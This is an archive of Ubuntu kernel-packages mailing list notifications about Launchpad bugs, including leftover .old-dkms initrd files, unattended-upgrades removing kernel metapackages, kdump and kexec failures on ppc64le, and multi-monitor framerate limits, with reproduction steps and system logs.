bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1820868/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1515513] Re: /boot/initrd.img-*.old-dkms files left behind
** Tags removed: verification-needed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1515513 Title: /boot/initrd.img-*.old-dkms files left behind Status in DKMS: New Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Xenial: Fix Released Status in dkms source package in Zesty: Fix Released Status in dkms package in Debian: New Bug description: [Impact] If a dkms package is installed which has REMAKE_INITRD or the same setting has be manually configured by a user then when a kernel is removed its possible for an ".old-dkms" file to be left in /boot with no associated kernel. [Test Case] On a system with two old kernels and one new kernel available in -updates: 1) install r8168-dkms 2) install the dkms module for the old kernel e.g. 'sudo dkms install -m r8168 -v 8.041.00 -k 4.4.0-31-generic' 3) upgrade your kernel e.g. "sudo apt install linux-image-generic' 4) sudo apt autoremove 5) observe something like "initrd.img-4.4.0-31-generic.old-dkms" in /boot without a corresponding "initrd.img-4.4.0-31-generic" With the version of dkms in -proposed, the .old-dkms file will be removed when the kernel is auto removed. [Regression Potential] Somebody out there might expect the .old-dkms file to be kept, but that seems like an odd expectation. One notices *.old-dkms files being left behind still sitting on the disk after purging the related kernel. This can cause /boot to become full, and when it gets really bad, even sudo apt-get autoremove won't fix the problem - only deleting the old-dkms files manually solves the problem. Note: Filling up the /boot partition causes updates to fail. ProblemType: BugDistroRelease: Ubuntu 15.04 Package: dkms 2.2.0.3-2ubuntu3.3 ProcVersionSignature: Ubuntu 3.19.0-28.30-generic 3.19.8-ckt5 Uname: Linux 3.19.0-28-generic x86_64 ApportVersion: 2.17.2-0ubuntu1.7 Architecture: amd64 CurrentDesktop: KDE Date: Thu Nov 12 08:17:10 2015 InstallationDate: Installed on 2015-05-05 (190 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) PackageArchitecture: allSourcePackage: dkms UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/dkms/+bug/1515513/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1515513] Re: /boot/initrd.img-*.old-dkms files left behind
** Also affects: dkms Importance: Undecided Status: New ** Changed in: dkms Status: New => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1515513 Title: /boot/initrd.img-*.old-dkms files left behind Status in DKMS: Fix Released Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Xenial: Fix Released Status in dkms source package in Zesty: Fix Released Status in dkms package in Debian: New Bug description: [Impact] If a dkms package is installed which has REMAKE_INITRD or the same setting has be manually configured by a user then when a kernel is removed its possible for an ".old-dkms" file to be left in /boot with no associated kernel. [Test Case] On a system with two old kernels and one new kernel available in -updates: 1) install r8168-dkms 2) install the dkms module for the old kernel e.g. 'sudo dkms install -m r8168 -v 8.041.00 -k 4.4.0-31-generic' 3) upgrade your kernel e.g. "sudo apt install linux-image-generic' 4) sudo apt autoremove 5) observe something like "initrd.img-4.4.0-31-generic.old-dkms" in /boot without a corresponding "initrd.img-4.4.0-31-generic" With the version of dkms in -proposed, the .old-dkms file will be removed when the kernel is auto removed. [Regression Potential] Somebody out there might expect the .old-dkms file to be kept, but that seems like an odd expectation. One notices *.old-dkms files being left behind still sitting on the disk after purging the related kernel. This can cause /boot to become full, and when it gets really bad, even sudo apt-get autoremove won't fix the problem - only deleting the old-dkms files manually solves the problem. Note: Filling up the /boot partition causes updates to fail. ProblemType: BugDistroRelease: Ubuntu 15.04 Package: dkms 2.2.0.3-2ubuntu3.3 ProcVersionSignature: Ubuntu 3.19.0-28.30-generic 3.19.8-ckt5 Uname: Linux 3.19.0-28-generic x86_64 ApportVersion: 2.17.2-0ubuntu1.7 Architecture: amd64 CurrentDesktop: KDE Date: Thu Nov 12 08:17:10 2015 InstallationDate: Installed on 2015-05-05 (190 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) PackageArchitecture: allSourcePackage: dkms UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/dkms/+bug/1515513/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1412097] Re: package linux-image-extra-3.16.0-29-generic 3.16.0-29.39 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
** No longer affects: linux (Ubuntu) ** Also affects: linux (Ubuntu) Importance: Undecided Status: New ** Changed in: linux (Ubuntu) Status: New => Triaged ** Changed in: linux (Ubuntu) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1412097 Title: package linux-image-extra-3.16.0-29-generic 3.16.0-29.39 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in One Hundred Papercuts: Triaged Status in linux package in Ubuntu: Triaged Bug description: This seems to happen from time to time. It's usually caused by images that weren't removed after an update. It's usually fixed by removing images that were not automatically removed and so are cluttering the device. I will probably have the issue fixed on my machine before anyone reads this. The only reason I report it is because I'm betting the average user can't fix the problem. A good permanent fix would be to have Ubuntu automatically remove old images on update to keep the space clean. I'd love to help make this happen but it's above my skill level. ProblemType: Package DistroRelease: Ubuntu 14.10 Package: linux-image-extra-3.16.0-29-generic 3.16.0-29.39 ProcVersionSignature: Ubuntu 3.16.0-28.38-generic 3.16.7-ckt1 Uname: Linux 3.16.0-28-generic x86_64 ApportVersion: 2.14.7-0ubuntu8 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: wes2940 F...m pulseaudio /dev/snd/controlC0: wes2940 F pulseaudio Date: Sat Jan 17 13:50:58 2015 DpkgTerminalLog: Log started: 2015-01-17 13:48:32 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2014-09-07 (133 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) MachineType: Acer Aspire 5735 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.16.0-28-generic root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7 PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No PulseAudio daemon running, or not running as session daemon. RelatedPackageVersions: grub-pc 2.02~beta2-15 SourcePackage: linux Title: package linux-image-extra-3.16.0-29-generic 3.16.0-29.39 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/10/2008 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: V1.08 dmi.board.name: CathedralPeak dmi.board.vendor: Acer dmi.board.version: Rev dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvrV1.08:bd09/10/2008:svnAcer:pnAspire5735:pvr0100:rvnAcer:rnCathedralPeak:rvrRev:cvnAcer:ct10:cvrN/A: dmi.product.name: Aspire 5735 dmi.product.version: 0100 dmi.sys.vendor: Acer To manage notifications about this bug go to: https://bugs.launchpad.net/hundredpapercuts/+bug/1412097/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787460] Re: Unattended upgrades removed linux-image-generic
** Changed in: apt (Ubuntu Cosmic) Importance: Undecided => Critical ** Changed in: apt (Ubuntu Bionic) Importance: Undecided => Critical ** Changed in: apt (Ubuntu Xenial) Importance: Undecided => High ** Changed in: apt (Ubuntu Trusty) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-meta in Ubuntu. https://bugs.launchpad.net/bugs/1787460 Title: Unattended upgrades removed linux-image-generic Status in apt package in Ubuntu: Fix Released Status in linux-meta package in Ubuntu: Triaged Status in linux-meta-hwe package in Ubuntu: Triaged Status in apt source package in Trusty: Fix Committed Status in linux-meta source package in Trusty: New Status in linux-meta-hwe source package in Trusty: New Status in apt source package in Xenial: Fix Committed Status in linux-meta source package in Xenial: New Status in linux-meta-hwe source package in Xenial: New Status in apt source package in Bionic: Fix Released Status in linux-meta source package in Bionic: New Status in linux-meta-hwe source package in Bionic: New Status in apt source package in Cosmic: Fix Released Status in linux-meta source package in Cosmic: New Status in linux-meta-hwe source package in Cosmic: New Status in apt source package in Disco: Fix Released Status in linux-meta source package in Disco: Triaged Status in linux-meta-hwe source package in Disco: Triaged Bug description: [Impact] If a user accidentally removed linux-generic, unattended-upgrades will also autoremove linux-image-generic, leaving them without kernel upgrades. [Test Case] 1. Remove all reverse dependencies of linux-image-generic 2. Mark linux-image-generic as automatically installed 3. Run unattended-upgrades -v --dry-run --debug to ensure that linux-image-generic is not removed (after verifying that it is, with old apt) [Regression potential] This adds two regular expressions to the list of packages that must not be automatically removed. As such, the only possible regression is that some packages starting with linux-image, not containing any dots, are not removed [Original bug report] On a fairly fresh install of 18.04 with no modifications whatsoever to the unattended-upgrades configuration, it decided to remove linux-image-generic which also removed linux-modules-extra which caused sound drivers to disappear, etc. The relative snippet from /var/log/unattended-upgrades/unattended- upgrades.log is: 2018-08-15 06:18:00,048 INFO Starting unattended upgrades script 2018-08-15 06:18:00,048 INFO Allowed origins are: o=Ubuntu,a=bionic, o=Ubuntu,a=bionic-security, o=UbuntuESM,a=bionic 2018-08-15 06:18:01,552 INFO Removing unused kernel packages: linux-headers-generic linux-image-generic linux-headers-4.15.0-32-generic linux-headers-4.15.0-32 2018-08-15 06:18:01,588 WARNING Keeping auto-removable linux-headers-generic package(s) because it would also remove the following packages which should be kept in this step: libxml2 linux-image-4.15.0-32-generic linux-modules-4.15.0-32-generic linux-modules-extra-4.15.0-32-generic 2018-08-15 06:18:09,476 INFO Packages that were successfully auto-removed: linux-headers-4.15.0-32 linux-headers-4.15.0-32-generic linux-headers-generic linux-image-generic 2018-08-15 06:18:09,477 INFO Packages that are kept back: linux-headers-generic 2018-08-15 06:18:10,300 INFO Packages that will be upgraded: libxml2 linux-image-generic 2018-08-15 06:18:10,300 INFO Writing dpkg log to /var/log/unattended-upgrades/unattended-upgrades-dpkg.log 2018-08-15 06:18:39,238 INFO All upgrades installed 2018-08-15 06:18:42,818 INFO Packages that were successfully auto-removed: linux-image-generic linux-modules-extra-4.15.0-32-generic 2018-08-15 06:18:42,818 INFO Packages that are kept back: ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: unattended-upgrades 1.1ubuntu1.18.04.5 ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18 Uname: Linux 4.15.0-32-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.9-0ubuntu7.3 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Thu Aug 16 13:17:30 2018 InstallationDate: Installed on 2018-07-24 (23 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180724) PackageArchitecture: all ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: unattended-upgrades UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1787460/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpa
[Kernel-packages] [Bug 1787460] Re: Unattended upgrades removed linux-image-generic
Are we still going to change the section of the metapackages? Those tasks are still open. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-meta in Ubuntu. https://bugs.launchpad.net/bugs/1787460 Title: Unattended upgrades removed linux-image-generic Status in apt package in Ubuntu: Fix Released Status in linux-meta package in Ubuntu: Triaged Status in linux-meta-hwe package in Ubuntu: Triaged Status in apt source package in Trusty: Fix Released Status in linux-meta source package in Trusty: New Status in linux-meta-hwe source package in Trusty: New Status in apt source package in Xenial: Fix Released Status in linux-meta source package in Xenial: New Status in linux-meta-hwe source package in Xenial: New Status in apt source package in Bionic: Fix Released Status in linux-meta source package in Bionic: New Status in linux-meta-hwe source package in Bionic: New Status in apt source package in Cosmic: Fix Released Status in linux-meta source package in Cosmic: New Status in linux-meta-hwe source package in Cosmic: New Status in apt source package in Disco: Fix Released Status in linux-meta source package in Disco: Triaged Status in linux-meta-hwe source package in Disco: Triaged Bug description: [Impact] If a user accidentally removed linux-generic, unattended-upgrades will also autoremove linux-image-generic, leaving them without kernel upgrades. [Test Case] 1. Remove all reverse dependencies of linux-image-generic 2. Mark linux-image-generic as automatically installed 3. Run unattended-upgrades -v --dry-run --debug to ensure that linux-image-generic is not removed (after verifying that it is, with old apt) [Regression potential] This adds two regular expressions to the list of packages that must not be automatically removed. As such, the only possible regression is that some packages starting with linux-image, not containing any dots, are not removed [Original bug report] On a fairly fresh install of 18.04 with no modifications whatsoever to the unattended-upgrades configuration, it decided to remove linux-image-generic which also removed linux-modules-extra which caused sound drivers to disappear, etc. The relative snippet from /var/log/unattended-upgrades/unattended- upgrades.log is: 2018-08-15 06:18:00,048 INFO Starting unattended upgrades script 2018-08-15 06:18:00,048 INFO Allowed origins are: o=Ubuntu,a=bionic, o=Ubuntu,a=bionic-security, o=UbuntuESM,a=bionic 2018-08-15 06:18:01,552 INFO Removing unused kernel packages: linux-headers-generic linux-image-generic linux-headers-4.15.0-32-generic linux-headers-4.15.0-32 2018-08-15 06:18:01,588 WARNING Keeping auto-removable linux-headers-generic package(s) because it would also remove the following packages which should be kept in this step: libxml2 linux-image-4.15.0-32-generic linux-modules-4.15.0-32-generic linux-modules-extra-4.15.0-32-generic 2018-08-15 06:18:09,476 INFO Packages that were successfully auto-removed: linux-headers-4.15.0-32 linux-headers-4.15.0-32-generic linux-headers-generic linux-image-generic 2018-08-15 06:18:09,477 INFO Packages that are kept back: linux-headers-generic 2018-08-15 06:18:10,300 INFO Packages that will be upgraded: libxml2 linux-image-generic 2018-08-15 06:18:10,300 INFO Writing dpkg log to /var/log/unattended-upgrades/unattended-upgrades-dpkg.log 2018-08-15 06:18:39,238 INFO All upgrades installed 2018-08-15 06:18:42,818 INFO Packages that were successfully auto-removed: linux-image-generic linux-modules-extra-4.15.0-32-generic 2018-08-15 06:18:42,818 INFO Packages that are kept back: ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: unattended-upgrades 1.1ubuntu1.18.04.5 ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18 Uname: Linux 4.15.0-32-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.9-0ubuntu7.3 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Thu Aug 16 13:17:30 2018 InstallationDate: Installed on 2018-07-24 (23 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180724) PackageArchitecture: all ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: unattended-upgrades UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1787460/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778844] Re: nvme multipath does not report path relationships
** No longer affects: makedumpfile (Ubuntu) ** No longer affects: makedumpfile (Ubuntu Bionic) ** No longer affects: makedumpfile (Ubuntu Cosmic) ** No longer affects: makedumpfile (Ubuntu Disco) ** Changed in: initramfs-tools (Ubuntu Bionic) Importance: Undecided => Critical -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778844 Title: nvme multipath does not report path relationships Status in The Ubuntu-power-systems project: In Progress Status in initramfs-tools package in Ubuntu: In Progress Status in linux package in Ubuntu: Invalid Status in initramfs-tools source package in Bionic: In Progress Status in linux source package in Bionic: Invalid Status in initramfs-tools source package in Cosmic: In Progress Status in linux source package in Cosmic: Invalid Status in initramfs-tools source package in Disco: In Progress Status in linux source package in Disco: Invalid Bug description: [Impact] initramfs created with MODULES=dep or kdump initrd won't boot a system with root filesystem on a multipath nvme. [Test case] Systems with nvme multipath were able to boot with the created initramfs. Also tested on systems with non-multipath nvme, and non nvme systems. [Regression potential] A system could fail to boot because the generated initramfs was broken. The code should just add modules, which is safer than removing modules or doing any other changes. In any case, it was tested to boot on multipath nvme, non multipath nvme and non nvme systems. - Problem Description: === After triggering crash ,kdump is not working & system enters into initramfs state Steps to re-create: == >. woo is installed ubuntu180401 kernel root@woo:~# uname -a Linux woo 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 17:59:00 UTC 2018 ppc64le ppc64le ppc64le GNU/Linux root@woo:~# >. Crashkernel value as below root@woo:~# free -h totalusedfree shared buff/cache available Mem: 503G2.0G501G 13M279M 499G Swap: 2.0G 0B2.0G root@woo:~# cat /proc/cmdline root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet crashkernel=8192M > kdump status root@woo:~# kdump-config status current state : ready to kdump root@woo:~# kdump-config show DUMP_MODE:kdump USE_KDUMP:1 KDUMP_SYSCTL: kernel.panic_on_oops=1 KDUMP_COREDIR:/var/crash crashkernel addr: /var/lib/kdump/vmlinuz: symbolic link to /boot/vmlinux-4.15.0-23-generic kdump initrd: /var/lib/kdump/initrd.img: symbolic link to /var/lib/kdump/initrd.img-4.15.0-23-generic current state:ready to kdump kexec command: /sbin/kexec -p --command-line="root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet nr_cpus=1 systemd.unit=kdump-tools.service irqpoll noirqdistrib nousb" --initrd=/var/lib/kdump/initrd.img /var/lib/kdump/vmlinuz root@woo:~# dmesg | grep Reser [0.00] Reserving 8192MB of memory at 128MB for crashkernel (System RAM: 524288MB) [0.00] cma: Reserved 26224 MiB at 0x20399500 [3.545490] Copyright (C) 2017-2018 Broadcom. All Rights Reserved. The term "Broadcom" refers to Broadcom Limited and/or its subsidiaries. > Triggered crash root@woo:~# echo 1 > /proc/sys/kernel/sysrq root@woo:~# echo c > /proc/sysrq-trigger [ 73.056308] sysrq: SysRq : Trigger a crash [ 73.056357] Unable to handle kernel paging request for data at address 0x [ 73.056459] Faulting instruction address: 0xc07f24c8 [ 73.056543] Oops: Kernel access of bad area, sig: 11 [#1] [ 73.056609] LE SMP NR_CPUS=2048 NUMA PowerNV [ 73.056668] Modules linked in: rdma_ucm(OE) ib_ucm(OE) rdma_cm(OE) iw_cm(OE) ib_ipoib(OE) ib_cm(OE) ib_uverbs(OE) ib_umad(OE) esp6_offload esp6 esp4_offload esp4 xfrm_algo mlx5_fpga_tools(OE) mlx4_en(OE) mlx4_ib(OE) mlx4_core(OE) rpcsec_gss_krb5 nfsv4 nfs fscache binfmt_misc idt_89hpesx vmx_crypto crct10dif_vpmsum ofpart cmdlinepart ipmi_powernv ipmi_devintf at24 powernv_flash ipmi_msghandler ibmpowernv mtd opal_prd uio_pdrv_genirq uio nfsd auth_rpcgss nfs_acl lockd sch_fq_codel grace sunrpc knem(OE) ip_tables x_tables autofs4 btrfs xor zstd_compress raid6_pq mlx5_ib(OE) ib_core(OE) nouveau lpfc ast i2c_algo_bit ttm mlx5_core(OE) drm_kms_helper mlxfw(OE) nvmet_fc devlink syscopyarea nvmet mlx_compat(OE) sysfillrect cxl nvme_fc sysimgblt fb_sys_fops nvme_fabrics nvme ahci crc32c_vpmsum drm scsi_transport_fc [ 73.057601] tg3 libahci nvme_core pnv_php [ 73.057652] CPU: 44 PID: 4626 Comm: bash Tainted: G OE 4.15.0-23-generic #25-Ubuntu [ 73.057767] NIP: c07f24c8 LR: c07f3568 CTR: c07f24a0 [ 73.057868] REGS: c03
[Kernel-packages] [Bug 1814373] Re: storage / luks / dmsetup regressed (or got better) on ppc64le
** No longer affects: udisks2 (Ubuntu) ** No longer affects: udisks2 (Ubuntu Bionic) ** No longer affects: udisks2 (Ubuntu Cosmic) ** No longer affects: udisks2 (Ubuntu Disco) ** No longer affects: udisks2 (Ubuntu Eoan) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1814373 Title: storage / luks / dmsetup regressed (or got better) on ppc64le Status in linux package in Ubuntu: Confirmed Status in systemd package in Ubuntu: Fix Committed Status in linux source package in Bionic: New Status in systemd source package in Bionic: Fix Committed Status in linux source package in Cosmic: New Status in systemd source package in Cosmic: Fix Committed Status in linux source package in Disco: New Status in systemd source package in Disco: Fix Committed Status in linux source package in Eoan: Confirmed Status in systemd source package in Eoan: Fix Committed Status in systemd package in Debian: New Bug description: in disco proposed with new systemd and v4.19 kernel it appears that dmsetup / cryptsetup storage either got better or worse. Devices take very long to activate, and sometimes remain in use during test clean up. This leads to udisks autopkgtest failing on ppc64le and systemd's "storage" autopkgtest is also failing. I've tried to make ppc64le test more resilient, but it's still odd that it became unstable in disco, and used to be rock solid on ppc64le. -- sru template for systemd upload: [impact] buffer overflow can cause memory corruption; this is seen in failed autopkgtests [test case] see comment 6 [regression potential] the patch is minimal and clearly correct; however the regression potential is around invalid/corrupted keys read from the keyring. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1814373/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1828187] Re: ibm, dynamic-memory property not found while loading kexec kernel (4.18.0-18-generic)
** Also affects: kexec-tools (Ubuntu Cosmic) Importance: Undecided Status: New ** Also affects: kexec-tools (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: kexec-tools (Ubuntu Bionic) Status: New => In Progress ** Changed in: kexec-tools (Ubuntu Cosmic) Status: New => In Progress ** Changed in: kexec-tools (Ubuntu) Status: In Progress => Fix Released ** Changed in: kexec-tools (Ubuntu Bionic) Importance: Undecided => High ** Changed in: kexec-tools (Ubuntu Cosmic) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to kexec-tools in Ubuntu. https://bugs.launchpad.net/bugs/1828187 Title: ibm,dynamic-memory property not found while loading kexec kernel (4.18.0-18-generic) Status in The Ubuntu-power-systems project: In Progress Status in kexec-tools package in Ubuntu: Fix Released Status in kexec-tools source package in Bionic: In Progress Status in kexec-tools source package in Cosmic: In Progress Bug description: For SRU: [Impact] * The ibm,dynamic-memory-v2 device tree property replaced the original ibm,dynamic-memory property. Since kexec-tools doesn't know to look for the "-v2" property yet, it fails to successfully parse the node using the new "-v2" property. * These changes enable the new "-v2" property to be successfully parsed from the node. [Test Case] * Load panic kernel or regular kernel with kexec command: kdump-config unload; kdump-config load OR kexec -l --append="`cat /proc/cmdline`" --initrd=/boot/initrd.img-`uname -r` /boot/vmlinux-`uname -r` * Expected result: kexec loads without any warning/error messages [Testing] These changes were tested by Hari with a positive result on a 4.18 kernel for ppc64el. [Regression Potential] * Low. * These changes exist in 'kexec-tools' for disco and onwards (these kernels are all >= 4.16 where the -v2 property was enabled). * The Bionic edge and Cosmic kernels have support for the -v2 property since they are also >= 4.16. * The regular 4.15 Bionic kernel is the more interesting of the bunch in terms of regression potential since 4.15 is too early to have the -v2 property enabled. The changes introduced by this patch appear to only attempt "-v2" parsing if it was unable to parse the "-v1" node. The absence of the v1 node implies that the device tree is using the "v2" property. Since the "-v2" option is not enabled for the 4.15 kernel, if the "-v1" parsing fails, then the "-v2" parsing will certainly fail, and the code throws the same error condition is it did before the patch was applied anyway. Original bug description below. --- == Comment: #0 - Hari Krishna Bathini - 2019-05-07 13:37:51 == ---Problem Description--- On 4.18.0-18-generic kernel, kexec load command throws below traces: --- Regular kexec load: root@ubuntu:~# kexec -l --append="`cat /proc/cmdline`" --initrd=/boot/initrd.img-`uname -r` /boot/vmlinux-`uname -r` /proc/device-tree/ibm,dynamic-reconfiguration-memory/ibm,dynamic-memory: No such file or directory Modified cmdline:BOOT_IMAGE=/boot/vmlinux-4.18.0-18-generic root=UUID=1aa9458c-3974-4cb4-9ab3-9ee03c0f4e5e ro crashkernel=2G-4G:320M,4G-32G:512M,32G-64G:1024M,64G-128G:2048M,128G-:4096M@128M root@ubuntu:~# --- KDump kernel load: root@ubuntu:~# kdump-config unload * unloaded kdump kernel root@ubuntu:~# kdump-config load * Creating symlink /var/lib/kdump/vmlinuz * Creating symlink /var/lib/kdump/initrd.img /proc/device-tree/ibm,dynamic-reconfiguration-memory/ibm,dynamic-memory: No such file or directory /proc/device-tree/ibm,dynamic-reconfiguration-memory/ibm,dynamic-memory: No such file or directory Modified cmdline:BOOT_IMAGE=/boot/vmlinux-4.18.0-18-generic root=UUID=1aa9458c-3974-4cb4-9ab3-9ee03c0f4e5e ro maxcpus=1 systemd.unit=kdump-tools-dump.service irqpoll noirqdistrib nousb elfcorehdr=158912K * loaded kdump kernel root@ubuntu:~# --- Contact Information = hbath...@in.ibm.com ---uname output--- Linux ubuntu 4.18.0-18-generic #19~18.04.1-Ubuntu SMP Fri Apr 5 10:21:11 UTC 2019 ppc64le ppc64le ppc64le GNU/Linux ---Additional Hardware Info--- na Machine Type = na ---Debugger--- A debugger is not configured ---Steps to Reproduce--- Load panic kernel or regular kernel with kexec command: kdump-config unload; kdump-config load OR kexec -l --append="`cat /proc/cmdline`" --initrd=/boot/initrd.img-`uname -r` /boot/vmlinux-`uname -r` Actual Result: DT files are not found while loading the kernel Expected result: kexec loads without any warning/error messages Userspace tool common name: kexec-tools The userspace tool has the following bit modes: 64-bit Userspace rpm: kexec-tools Userspace tool obtained from project website: na *Additional Instructions for hbath...@in.ibm.com: -A
[Kernel-packages] [Bug 1820832] Re: [xorg] multiple monitors: limits the framerate of faster 120/144hz monitors to 60hz
** No longer affects: mutter (Ubuntu) ** Bug watch removed: gitlab.gnome.org/GNOME/mutter/issues #503 https://gitlab.gnome.org/GNOME/mutter/issues/503 -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-418 in Ubuntu. https://bugs.launchpad.net/bugs/1820832 Title: [xorg] multiple monitors: limits the framerate of faster 120/144hz monitors to 60hz Status in nvidia-graphics-drivers-418 package in Ubuntu: Confirmed Status in xserver-xorg-video-amdgpu package in Ubuntu: New Bug description: multiple monitors on xorg = Was recently discussed over on https://bugs.launchpad.net/ubuntu/+source/mutter/+bug/1763892 Another user + myself have the following issue: The slowest connected display limits the FPS. The test case we used is over at the top of the other bug report ^^ This we found today happens with either amd vega graphics, or nvidia pascal graphics, the vendor doesn't seem to matter. We have both seen the same issue (xorg). This is on 18.10, and booting into the 'Gnome (xorg)' login option. With the FPS being logged by journalctl -f. With only single monitor attached. Then it initially goes as high as the primary monitor can show. (And glmark2 running in background, to maintain a continued load). Which is 120fps for my case. Then as soon as secondary monitor is plugged in, which is a 60hz TV. This is being plugged into the HDMI port of the same graphics card in real time. Then the FPS logged by 'journalctl -f' drops, and becomes capped to 60hz, in the output being printed by journalctl -f. My setup: kernel 5.0.0-05-lowlatency #201903032031 NVIDIA Driver for UNIX platforms 415.27 (the closed source one) ubuntu 18.10 mutter version: mutter/cosmic-updates,now 3.30.2-1~ubuntu18.10.4 amd64 [installed] mutter-common/cosmic-updates,cosmic-updates,now 3.30.2-1~ubuntu18.10.4 all [installed] To confirm where the '.4' at the very end of the ~ubuntu18.10.4 version number, it seems to be that we have updated now on our client machines the be most recent bugfix updates, kindly provided by Daniel. Which closed the other bug https://bugs.launchpad.net/ubuntu/+source/mutter/+bug/1763892 being referred to, as being solved for people's single monitor scenarios. Thanks again for the other recent bug fixes in this area, it is a nice progress. Very helpful! We hope you can also look into this latest problem / issue for the multiple monitor scenario. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-418/+bug/1820832/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1821823] Re: No wireless networks displayed for broadcom BCM43142
